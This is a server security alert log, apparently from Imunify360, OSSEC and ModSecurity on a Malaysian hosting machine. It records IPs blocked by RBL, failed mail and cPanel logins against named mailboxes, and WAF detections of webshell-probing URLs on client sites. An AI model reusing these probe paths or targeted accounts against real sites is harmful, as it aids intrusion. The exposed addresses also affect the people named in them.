name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.211.94
country_id: 933860
description:
Jan 16 06:58:19 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.211.94 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.243.38.183
country_id: 3469034
description:
Jan 16 06:58:21 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.243.38.183 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.238.61.128
country_id: 1819730
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/img/photos/362241.jpg HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-16 07:00:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57639: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 67.165.140.247
country_id: 6252001
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/deep/620/226415 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 16 07:03:51 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 91.201.252.137
country_id: 2017370
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/myclabs/deep-copy/fixtures/f001 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.71.25.138
country_id: 3439705
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/myclabs/deep-copy/fixtures/f001/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.92.128.32
country_id: 3469034
description:
Jan 16 07:04:42 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.92.128.32 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.9
country_id: 3175395
description:
Jan 16 07:04:55 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.9 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.221
country_id: 3469034
description:
Jan 16 07:05:04 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.221 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.172.11.153
country_id: 1269750
description:
Jan 16 07:05:15 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.172.11.153 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.171.94.75
country_id: 1835841
description:
Jan 16 07:05:18 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.171.94.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.92.128.32
country_id: 3469034
description:
Jan 16 07:04:56 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.92.128.32 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.9
country_id: 3175395
description:
Jan 16 07:05:02 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.9 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.210.189.21
country_id: 3277605
description:
Jan 16 07:06:31 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.210.189.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.188.187.85
country_id: 337996
description:
Jan 16 07:06:57 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.188.187.85 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.187.85
country_id: 337996
description:
2026-01-16 07:06:59 dovecot_login authenticator failed for H=([196.188.187.85]) [196.188.187.85]:34824: 535 Incorrect authentication data (set_id=sales@acburn.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.140
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/img/img/news.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 78.153.140.207
country_id: 2635167
description:
2026-01-16 07:11:10 H=(localhost.localdomain) [78.153.140.207]:51154 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<no-reply@no-reply.com> rejected RCPT <a@b12.siagabaja.com>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 54.164.63.35
country_id: 6252001
description:
[2026-01-16 07:14:08 +0800] info [cpaneld] 54.164.63.35 - nexus2019 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.131.31
country_id: 3469034
description:
Jan 16 07:14:03 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.131.31 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.197
country_id: 3469034
description:
Jan 16 07:15:30 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.197 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.210.95.88
country_id: 294640
description:
Jan 16 07:16:00 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.210.95.88 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.210.95.88
country_id: 294640
description:
2026-01-16 07:16:02 dovecot_login authenticator failed for H=([46.210.95.88]) [46.210.95.88]:34713: 535 Incorrect authentication data (set_id=nicholas@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.241.214.127
country_id: 1814991
description:
2026-01-16 07:17:44 dovecot_login authenticator failed for H=([223.241.214.127]) [223.241.214.127]:49065: 535 Incorrect authentication data (set_id=serene.chin@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.232.252.106
country_id: 1814991
description:
Jan 16 07:17:03 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.232.252.106 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.232.252.106
country_id: 1814991
description:
2026-01-16 07:17:05 dovecot_login authenticator failed for H=([112.232.252.106]) [112.232.252.106]:53524: 535 Incorrect authentication data (set_id=bizdevelopment@mkmetal.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/sliders/index.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.241.214.127
country_id: 1814991
description:
Jan 16 07:17:42 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.241.214.127 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.225.68.34
country_id: 1269750
description:
Jan 16 07:18:34 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.225.68.34 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/services/survey-meter/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/services||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.143.234.109
country_id: 1210997
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/product/5868 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.211.96
country_id: 99237
description:
2026-01-16 07:20:56 dovecot_login authenticator failed for H=([65.20.211.96]) [65.20.211.96]:36703: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.201.197.34
country_id: 3469034
description:
Jan 16 07:22:37 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.201.197.34 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/services/transportation-radioactive-materials/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/osl.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 78.153.140.207
country_id: 2635167
description:
2026-01-16 07:26:23 H=(localhost.localdomain) [78.153.140.207]:39524 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<no-reply@no-reply.com> rejected RCPT <a@b12.siagabaja.com>: Sender verify failed


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/services/transportation-radioactive-materials/images/sliders/cdn-cgi/l/cdn-cgi/l/login.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-16 07:28:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57658: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.1.7.139
country_id: 1814991
description:
Jan 16 07:31:41 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.1.7.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.1.7.139
country_id: 1814991
description:
2026-01-16 07:31:43 dovecot_login authenticator failed for H=(vmaty) [116.1.7.139]:63706: 535 Incorrect authentication data (set_id=hr)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/question-some-questions-about-on-line-information/images/sliders/cdn-cgi/l/cdn-cgi/l/about.php||SC:/home/sutsbcom/public_html/question-some-questions-about-on-line-information||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.183.187.95
country_id: 2510769
description:
Jan 16 07:31:17 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.183.187.95 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/about-us/images/sliders/cdn-cgi/l/cdn-cgi/l/Radioactive_Waste_Management.php||SC:/home/sutsbcom/public_html/about-us||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/about-us/images/sliders/cdn-cgi/l/osl.php||SC:/home/sutsbcom/public_html/about-us||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.1.7.139
country_id: 1814991
description:
Jan 16 07:32:01 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.1.7.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.1.7.139
country_id: 1814991
description:
2026-01-16 07:32:03 dovecot_login authenticator failed for H=(dbqvx) [116.1.7.139]:63706: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.28.190.188
country_id: 2510769
description:
Jan 16 07:32:36 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.28.190.188 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/about-sinaran-utama-teknologi/images/cdn-cgi/l/cdn-cgi/l/Radioactive_Waste_Management.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/themes/images/cdn-cgi/l/Radioactive_Waste_Management.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.70
country_id: 3175395
description:
Jan 16 07:37:16 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.7
country_id: 3175395
description:
Jan 16 07:37:34 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.7 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/hilfen-zur-wahl-eines-webhosts/images/radioactive.php||SC:/home/sutsbcom/public_html/hilfen-zur-wahl-eines-webhosts||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/about-us/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/about-us||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.4.214
country_id: 690791
description:
Jan 16 07:39:56 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.4.214 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.106.154.15
country_id: 1269750
description:
Jan 16 07:40:16 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.106.154.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.4.214
country_id: 690791
description:
Jan 16 07:40:04 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.4.214 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.167
country_id: 3175395
description:
Jan 16 07:42:40 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.167 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.253.45.105
country_id: 3469034
description:
Jan 16 07:43:12 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.253.45.105 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/languages/images/cdn-cgi/l/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/images/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.124.152.3
country_id: 1733045
description:
Jan 16 07:48:41 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.124.152.3 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 171.104.244.90
country_id: 1814991
description:
Jan 16 07:48:43 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 171.104.244.90 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.152.3
country_id: 1733045
description:
2026-01-16 07:48:43 dovecot_login authenticator failed for H=([49.124.152.3]) [49.124.152.3]:59984: 535 Incorrect authentication data (set_id=slgoh@kendek.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/fphortier/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/Personal_Dosimetry_Service.php||SC:/home/sutsbcom/public_html/fphortier||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.104.244.90
country_id: 1814991
description:
2026-01-16 07:48:45 dovecot_login authenticator failed for H=(jbvns) [171.104.244.90]:64728: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 130.131.161.238
country_id: 6252001
description:
Jan 16 07:48:08 sv3 pure-ftpd[118225]: (?@130.131.161.238) [INFO] New connection from 130.131.161.238


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 171.104.244.90
country_id: 1814991
description:
Jan 16 07:49:03 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 171.104.244.90 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.104.244.90
country_id: 1814991
description:
2026-01-16 07:49:05 dovecot_login authenticator failed for H=(kypjy) [171.104.244.90]:64728: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.39.112.9
country_id: 3469034
description:
Jan 16 07:49:11 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.39.112.9 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/languages/images/sliders/about.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/images/sliders/dosimeter.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 192.126.140.207
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:07-53.192.126.140.207||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-16 07:56:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57680: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/hilfen-zur-wahl-eines-webhosts/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/contact.php||SC:/home/sutsbcom/public_html/hilfen-zur-wahl-eines-webhosts||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.14.131.208
country_id: 1814991
description:
2026-01-16 07:59:46 dovecot_login authenticator failed for H=(jlukl) [113.14.131.208]:56996: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 16 07:59:02 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/img/img/demos/clientele.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.14.131.208
country_id: 1814991
description:
2026-01-16 08:00:05 dovecot_login authenticator failed for H=(hzdbp) [113.14.131.208]:56996: 535 Incorrect authentication data (set_id=hr)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.140
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/flagallery/flexible-packaging/img/img/new-development.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 143.202.115.39
country_id: 3469034
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/egulias/email-validator/composer.lock HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 131.0.6.228
country_id: 3469034
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/phpoffice/phpexcel/Examples/30template.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.10
country_id: 3175395
description:
Jan 16 08:03:32 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.10 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 16 08:03:36 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 08:03:41 H=([45.144.212.242]) [45.144.212.242]:50910 F=<no_reply@admin.com> rejected RCPT <emma@agsaintifik.com.my>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 08:05:29 H=([45.144.212.242]) [45.144.212.242]:53791 F=<no_reply@admin.com> rejected RCPT <hr_admin@smartcable.com.my>: Sender verify failed


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.140
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/portfolio/img/img/img/img/img/img/demos/img/index.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.17
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/portfolio/img/img/img/img/img/demos/img/img/clientele.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.59.26
country_id: 1269750
description:
Jan 16 08:08:20 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.59.26 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.27.253.6
country_id: 1168579
description:
Jan 16 08:08:21 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.27.253.6 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.59.26
country_id: 1269750
description:
2026-01-16 08:08:22 dovecot_login authenticator failed for H=([125.23.125.209]) [122.187.59.26]:35092: 535 Incorrect authentication data (set_id=info@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.27.253.6
country_id: 1168579
description:
2026-01-16 08:08:23 dovecot_login authenticator failed for H=(58-27-253-6.wateen.net) [58.27.253.6]:55202: 535 Incorrect authentication data (set_id=rosliza@stonewld.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.17
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/portfolio/img/img/img/img/demos/news.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.202.206.86
country_id: 1835841
description:
Jan 16 08:10:30 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.202.206.86 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.202.206.86
country_id: 1835841
description:
